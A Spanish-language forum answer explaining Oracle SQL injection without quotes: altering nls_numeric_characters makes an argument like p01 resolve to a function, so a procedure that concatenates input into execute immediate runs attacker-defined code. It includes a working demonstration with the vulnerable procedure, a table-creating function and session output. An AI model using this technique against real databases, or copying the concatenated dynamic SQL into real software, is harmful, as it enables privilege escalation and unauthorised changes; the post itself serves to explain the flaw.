Sí, es posible realizar un ataque de inyección SQL sin proporcionar comillas en el parámetro.
La forma de hacerlo es con un exploit relacionado con cómo se procesan los números y / o las fechas. Puede especificar a nivel de sesión cuál es el formato de una fecha o número. Al manipular esto, puede inyectar cualquier carácter.
De manera predeterminada en el Reino Unido y los EE. UU., Se utiliza una coma para indicar el separador de miles en números y un punto final para el punto decimal. Puede cambiar estos valores predeterminados ejecutando:
alter session set nls_numeric_characters = 'PZ';
Esto significa que "P" es ahora el punto decimal y "Z" es el separador de miles. Entonces:
0P01
Es el número 0.01. Sin embargo, si crea una función P01, la referencia del objeto se seleccionará antes de la conversión de números. Esto le permite ejecutar funciones en la base de datos que le otorgan poderes crecientes, de la siguiente manera:
Cree una función básica "obtener por id":
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
También cree una función P01 que haga algo indeseable (en este caso solo crea una tabla, pero se entiende):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
Y estamos listos para ir:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
No hay comillas en ningún lado, ¡pero aun así hemos logrado ejecutar la función "oculta" P01 y crear la tabla t
!
Si bien esto puede ser difícil de hacer en la práctica (y puede requerir algunos conocimientos / ayuda internos), esto muestra que puede inyectar SQL sin tener que tener comillas. Alterar el nls_date_format
puede permitir que se hagan cosas similares.
Los resultados originales de los números fueron de David Litchfield y puedes leer su artículo aquí . Puede encontrar la discusión de Tom Kyte sobre cómo se pueden explotar las fechas aquí .